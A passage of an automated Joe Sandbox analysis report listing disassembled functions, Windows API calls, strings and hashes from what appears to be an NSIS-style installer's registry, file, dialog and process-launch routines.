SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
@%F, xrefs: 004042A7
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

NUL, xrefs: 00406A9E
[Rename], xrefs: 00406BC8, 00406BD7
%s=%s, xrefs: 00406B43
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

